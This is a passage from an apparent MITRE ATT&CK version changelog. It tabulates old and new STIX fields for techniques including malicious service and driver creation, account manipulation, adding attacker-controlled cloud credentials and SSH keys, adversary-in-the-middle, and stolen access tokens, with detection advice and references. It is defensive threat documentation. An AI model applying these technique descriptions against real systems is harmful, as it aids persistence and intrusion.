`PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). |
| external_references[1]['source_name'] | capec | Microsoft Windows Event Forwarding FEB 2018 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/478.html | https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection |
| external_references[2]['source_name'] | capec | ESET InvisiMole June 2020 |
| external_references[2]['url'] | https://capec.mitre.org/data/definitions/550.html | https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf |
| external_references[3]['source_name'] | capec | TechNet Services |
| external_references[3]['url'] | https://capec.mitre.org/data/definitions/551.html | https://technet.microsoft.com/en-us/library/cc772408.aspx |
| external_references[4]['source_name'] | TechNet Services | Microsoft 4697 APR 2017 |
| external_references[4]['description'] | Microsoft. (n.d.). Services. Retrieved June 7, 2016. | Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018. |
| external_references[4]['url'] | https://technet.microsoft.com/en-us/library/cc772408.aspx | https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 |
| external_references[5]['source_name'] | TechNet Autoruns | Symantec W.32 Stuxnet Dossier |
| external_references[5]['description'] | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. | Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020. |
| external_references[5]['url'] | https://technet.microsoft.com/en-us/sysinternals/bb963902 | https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf |
| external_references[6]['source_name'] | Microsoft 4697 APR 2017 | Unit42 AcidBox June 2020 |
| external_references[6]['description'] | Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018. | Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021. |
| external_references[6]['url'] | https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 | https://unit42.paloaltonetworks.com/acidbox-rare-malware/ |
| external_references[7]['source_name'] | Microsoft Windows Event Forwarding FEB 2018 | TechNet Autoruns |
| external_references[7]['description'] | Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018. | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. |
| external_references[7]['url'] | https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection | https://technet.microsoft.com/en-us/sysinternals/bb963902 |
| x_mitre_contributors[1] | Travis Smith, Tripwire | Pedro Harrison |
| x_mitre_contributors[2] | Pedro Harrison | Mayuresh Dani, Qualys |
| x_mitre_data_sources[0] | API monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Windows event logs | Driver: Driver Load |
| x_mitre_data_sources[2] | Process command-line parameters | Service: Service Creation |
| x_mitre_data_sources[3] | Process monitoring | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[4] | File monitoring | Service: Service Modification |
| x_mitre_data_sources[5] | Windows Registry | Process: OS API Execution |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Crowdstrike DriveSlayer February 2022', 'description': 'Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.', 'url': 'https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/'} | |
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/478.html', 'external_id': 'CAPEC-478'} | |
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/550.html', 'external_id': 'CAPEC-550'} | |
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/551.html', 'external_id': 'CAPEC-551'} | |
| x_mitre_contributors | Wietze Beukema, @wietze | |
| x_mitre_contributors | Akshat Pradhan, Qualys | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 2.3
Version changed from: 2.1 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may manipulate accounts to maintain access to vi | t | 1 | Adversaries may manipulate accounts to maintain access to vi |
| > | ctim systems. Account manipulation may consist of any action | > | ctim systems. Account manipulation may consist of any action | ||
| > | that preserves adversary access to a compromised account, s | > | that preserves adversary access to a compromised account, s | ||
| > | uch as modifying credentials or permission groups. These act | > | uch as modifying credentials or permission groups. These act | ||
| > | ions could also include account activity designed to subvert | > | ions could also include account activity designed to subvert | ||
| > | security policies, such as performing iterative password up | > | security policies, such as performing iterative password up | ||
| > | dates to bypass password duration policies and preserve the | > | dates to bypass password duration policies and preserve the | ||
| > | life of compromised credentials. In order to create or manip | > | life of compromised credentials. In order to create or man | ||
| > | ulate accounts, the adversary must already have sufficient p | > | ipulate accounts, the adversary must already have sufficient | ||
| > | ermissions on systems or the domain. | > | permissions on systems or the domain. However, account mani | ||
| > | pulation may also lead to privilege escalation where modific | ||||
| > | ations grant access to additional roles, permissions, or hig | ||||
| > | her-privileged [Valid Accounts](https://attack.mitre.org/tec | ||||
| > | hniques/T1078). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 16:43:29.473000+00:00 | 2022-04-18 14:17:07.164000+00:00 |
| description | Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. | Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078). |
| external_references[1]['source_name'] | Microsoft User Modified Event | Microsoft Security Event 4670 |
| external_references[1]['description'] | Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017. | Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738 | https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670 |
| external_references[2]['source_name'] | Microsoft Security Event 4670 | Microsoft User Modified Event |
| external_references[2]['description'] | Franklin Smith, R. (n.d.). Windows Security Log Event ID 4670. Retrieved November 4, 2019. | Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017. |
| external_references[2]['url'] | https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4670 | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738 |
| x_mitre_data_sources[0] | Authentication logs | Command: Command Execution |
| x_mitre_data_sources[1] | Windows event logs | Process: Process Creation |
| x_mitre_detection | Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. | Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017) Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078) |
| x_mitre_platforms[1] | Office 365 | Azure AD |
| x_mitre_platforms[2] | Azure | Office 365 |
| x_mitre_platforms[3] | GCP | IaaS |
| x_mitre_platforms[4] | Azure AD | Linux |
| x_mitre_platforms[5] | AWS | macOS |
| x_mitre_platforms[6] | Linux | Google Workspace |
| x_mitre_platforms[7] | macOS | SaaS |
| x_mitre_version | 2.1 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Wojciech Lesicki | |
| x_mitre_data_sources | User Account: User Account Modification | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | Group: Group Modification | |
| x_mitre_data_sources | Active Directory: Active Directory Object Modification |
Current version: 2.3
Version changed from: 2.0 → 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may add adversary-controlled credentials to a cl | t | 1 | Adversaries may add adversary-controlled credentials to a cl |
| > | oud account to maintain persistent access to victim accounts | > | oud account to maintain persistent access to victim accounts | ||
| > | and instances within the environment. Adversaries may add | > | and instances within the environment. Adversaries may add | ||
| > | credentials for Azure Service Principals in addition to exis | > | credentials for Service Principals and Applications in addit | ||
| > | ting legitimate credentials(Citation: Create Azure Service P | > | ion to existing legitimate credentials in Azure AD.(Citation | ||
| > | rincipal) to victim Azure accounts.(Citation: Blue Cloud of | > | : Microsoft SolarWinds Customer Guidance)(Citation: Blue Clo | ||
| > | Death)(Citation: Blue Cloud of Death Video) Azure Service Pr | > | ud of Death)(Citation: Blue Cloud of Death Video) These cred | ||
| > | incipals support both password and certificate credentials.( | > | entials include both x509 keys and passwords.(Citation: Micr | ||
| > | Citation: Why AAD Service Principals) With sufficient permis | > | osoft SolarWinds Customer Guidance) With sufficient permissi | ||
| > | sions, there are a variety of ways to add credentials includ | > | ons, there are a variety of ways to add credentials includin | ||
| > | ing the Azure Portal, Azure command line interface, and Azur | > | g the Azure Portal, Azure command line interface, and Azure | ||
| > | e or Az [PowerShell](https://attack.mitre.org/techniques/T10 | > | or Az PowerShell modules.(Citation: Demystifying Azure AD Se | ||
| > | 59/001) modules.(Citation: Demystifying Azure AD Service Pri | > | rvice Principals) In infrastructure-as-a-service (IaaS) env | ||
| > | ncipals) After gaining access through [Cloud Accounts](http | > | ironments, after gaining access through [Cloud Accounts](htt | ||
| > | s://attack.mitre.org/techniques/T1078/004), adversaries may | > | ps://attack.mitre.org/techniques/T1078/004), adversaries may | ||
| > | generate or import their own SSH keys using either the <code | > | generate or import their own SSH keys using either the <cod | ||
| > | >CreateKeyPair</code> or <code>ImportKeyPair</code> API in A | > | e>CreateKeyPair</code> or <code>ImportKeyPair</code> API in | ||
| > | WS or the <code>gcloud compute os-login ssh-keys add</code> | > | AWS or the <code>gcloud compute os-login ssh-keys add</code> | ||
| > | command in GCP.(Citation: GCP SSH Key Add) This allows persi | > | command in GCP.(Citation: GCP SSH Key Add) This allows pers | ||
| > | stent access to instances within the cloud environment witho | > | istent access to instances within the cloud environment with | ||
| > | ut further usage of the compromised cloud accounts.(Citation | > | out further usage of the compromised cloud accounts.(Citatio | ||
| > | : Expel IO Evil in AWS)(Citation: Expel Behind the Scenes) | > | n: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator', 'User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 16:43:27.024000+00:00 | 2022-05-19 14:16:53.885000+00:00 |
| description | Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.
Adversaries may add credentials for Azure Service Principals in addition to existing legitimate credentials(Citation: Create Azure Service Principal) to victim Azure accounts.(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) Azure Service Principals support both password and certificate credentials.(Citation: Why AAD Service Principals) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules.(Citation: Demystifying Azure AD Service Principals)
After gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes) | Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.
Adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)
In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes) |
| external_references[1]['source_name'] | Create Azure Service Principal | Expel IO Evil in AWS |
| external_references[1]['description'] | Microsoft. (2020, January 8). Create an Azure service principal with Azure CLI. Retrieved January 19, 2020. | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/cli/azure/create-an-azure-service-principal-azure-cli?toc=%2Fazure%2Fazure-resource-manager%2Ftoc.json&view=azure-cli-latest | https://expel.io/blog/finding-evil-in-aws/ |
| external_references[2]['source_name'] | Blue Cloud of Death | Demystifying Azure AD Service Principals |
| external_references[2]['description'] | Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019. | Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020. |
| external_references[2]['url'] | https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1 | https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/ |
| external_references[3]['source_name'] | Blue Cloud of Death Video | GCP SSH Key Add |
| external_references[3]['description'] | Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019. | Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020. |
| external_references[3]['url'] | https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815 | https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add |
| external_references[4]['source_name'] | Why AAD Service Principals | Blue Cloud of Death Video |
| external_references[4]['description'] | Microsoft. (2019, September 23). Azure Superpowers Lab Manual. Retrieved January 19, 2020. | Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019. |
| external_references[4]['url'] | https://github.com/microsoft/AzureSuperpowers/blob/master/docs/AzureSuperpowers.md#why-aad-service-principals | https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815 |
| external_references[5]['source_name'] | Demystifying Azure AD Service Principals | Blue Cloud of Death |
| external_references[5]['description'] | Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020. | Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019. |
| external_references[5]['url'] | https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/ | https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1 |
| external_references[6]['source_name'] | GCP SSH Key Add | Microsoft SolarWinds Customer Guidance |
| external_references[6]['description'] | Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020. | MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020. |
| external_references[6]['url'] | https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add | https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ |
| external_references[7]['source_name'] | Expel IO Evil in AWS | Expel Behind the Scenes |
| external_references[7]['description'] | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. | S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020. |
| external_references[7]['url'] | https://expel.io/blog/finding-evil-in-aws/ | https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/ |
| x_mitre_data_sources[0] | Stackdriver logs | User Account: User Account Modification |
| x_mitre_data_sources[1] | GCP audit logs | Active Directory: Active Directory Object Modification |
| x_mitre_detection | Monitor Azure Activity Logs for service principal modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. | Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. |
| x_mitre_platforms[0] | Azure AD | IaaS |
| x_mitre_platforms[1] | Azure | Azure AD |
| x_mitre_platforms[2] | AWS | SaaS |
| x_mitre_version | 2.0 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Zur Ulianitzky, XM Cyber |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Expel Behind the Scenes', 'description': 'S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.', 'url': 'https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/'} | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_platforms | GCP |
Current version: 2.1
Version changed from: 1.1 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to position themselves between two o | t | 1 | Adversaries may attempt to position themselves between two o |
| > | r more networked devices using a man-in-the-middle (MiTM) te | > | r more networked devices using an adversary-in-the-middle (A | ||
| > | chnique to support follow-on behaviors such as [Network Snif | > | iTM) technique to support follow-on behaviors such as [Netwo | ||
| > | fing](https://attack.mitre.org/techniques/T1040) or [Transmi | > | rk Sniffing](https://attack.mitre.org/techniques/T1040) or [ | ||
| > | tted Data Manipulation](https://attack.mitre.org/techniques/ | > | Transmitted Data Manipulation](https://attack.mitre.org/tech | ||
| > | T1565/002). By abusing features of common networking protoco | > | niques/T1565/002). By abusing features of common networking | ||
| > | ls that can determine the flow of network traffic (e.g. ARP, | > | protocols that can determine the flow of network traffic (e. | ||
| > | DNS, LLMNR, etc.), adversaries may force a device to commun | > | g. ARP, DNS, LLMNR, etc.), adversaries may force a device to | ||
| > | icate through an adversary controlled system so they can col | > | communicate through an adversary controlled system so they | ||
| > | lect information or perform additional actions.(Citation: Ra | > | can collect information or perform additional actions.(Citat | ||
| > | pid7 MiTM Basics) Adversaries may leverage the MiTM positio | > | ion: Rapid7 MiTM Basics) For example, adversaries may manip | ||
| > | n to attempt to modify traffic, such as in [Transmitted Data | > | ulate victim DNS settings to enable other malicious activiti | ||
| > | Manipulation](https://attack.mitre.org/techniques/T1565/002 | > | es such as preventing/redirecting users from accessing legit | ||
| > | ). Adversaries can also stop traffic from flowing to the app | > | imate sites and/or pushing additional malware.(Citation: tti | ||
| > | ropriate destination, causing denial of service. | > | nt_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_ | ||
| > | with_miner) [Downgrade Attack](https://attack.mitre.org/tech | ||||
| > | niques/T1562/010)s can also be used to establish an AiTM pos | ||||
| > | ition, such as by negotiating a less secure, deprecated, or | ||||
| > | weaker version of communication protocol (SSL/TLS) or encryp | ||||
| > | tion algorithm.(Citation: mitm_tls_downgrade_att)(Citation: | ||||
| > | taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_at | ||||
| > | t) Adversaries may also leverage the AiTM position to attem | ||||
| > | pt to monitor and/or modify traffic, such as in [Transmitted | ||||
| > | Data Manipulation](https://attack.mitre.org/techniques/T156 | ||||
| > | 5/002). Adversaries can setup a position similar to AiTM to | ||||
| > | prevent traffic from flowing to the appropriate destination, | ||||
| > | potentially to [Impair Defenses](https://attack.mitre.org/t | ||||
| > | echniques/T1562) and/or in support of a [Network Denial of S | ||||
| > | ervice](https://attack.mitre.org/techniques/T1498). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] | |
| external_references | CAPEC-94 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 15:19:48.733000+00:00 | 2022-04-19 18:22:28.290000+00:00 |
| name | Man-in-the-Middle | Adversary-in-the-Middle |
| description | Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) Adversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service. | Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att) Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498). |
| external_references[1]['source_name'] | capec | dns_changer_trojans |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/94.html | https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats |
| external_references[2]['source_name'] | Rapid7 MiTM Basics | taxonomy_downgrade_att_tls |
| external_references[2]['description'] | Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020. | Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021. |
| external_references[2]['url'] | https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/ | https://arxiv.org/abs/1809.05681 |
| x_mitre_data_sources[0] | File monitoring | Service: Service Creation |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_detection | Monitor network traffic for anomalies associated with known MiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow. | Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow. |
| x_mitre_version | 1.1 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ad_blocker_with_miner', 'description': 'Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021.', 'url': 'https://securelist.com/ad-blocker-with-miner-included/101105/'} | |
| external_references | {'source_name': 'mitm_tls_downgrade_att', 'description': 'praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021.', 'url': 'https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/'} | |
| external_references | {'source_name': 'Rapid7 MiTM Basics', 'description': 'Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.', 'url': 'https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/'} | |
| external_references | {'source_name': 'tlseminar_downgrade_att', 'description': 'Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021.', 'url': 'https://tlseminar.github.io/downgrade-attacks/'} | |
| external_references | {'source_name': 'ttint_rat', 'description': 'Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.', 'url': 'https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/'} | |
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/94.html', 'external_id': 'CAPEC-94'} | |
| x_mitre_contributors | Mayuresh Dani, Qualys | |
| x_mitre_contributors | NEC | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Application Log: Application Log Content |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use stolen application access tokens to bypa | t | 1 | Adversaries may use stolen application access tokens to bypa |
| > | ss the typical authentication process and access restricted | > | ss the typical authentication process and access restricted | ||
| > | accounts, information, or services on remote systems. These | > | accounts, information, or services on remote systems. These | ||
| > | tokens are typically stolen from users and used in lieu of l | > | tokens are typically stolen from users or services and used | ||
| > | ogin credentials. Application access tokens are used to mak | > | in lieu of login credentials. Application access tokens are | ||
| > | e authorized API requests on behalf of a user and are common | > | used to make authorized API requests on behalf of a user or | ||
| > | ly used as a way to access resources in cloud-based applicat | > | service and are commonly used as a way to access resources | ||
| > | ions and software-as-a-service (SaaS).(Citation: Auth0 - Why | > | in cloud and container-based applications and software-as-a- | ||
| > | You Should Always Use Access Tokens to Secure APIs Sept 201 | > | service (SaaS).(Citation: Auth0 - Why You Should Always Use | ||
| > | 9) OAuth is one commonly implemented framework that issues t | > | Access Tokens to Secure APIs Sept 2019) In AWS and GCP env | ||
| > | okens to users for access to systems. These frameworks are u | > | ironments, adversaries can trigger a request for a short-liv | ||
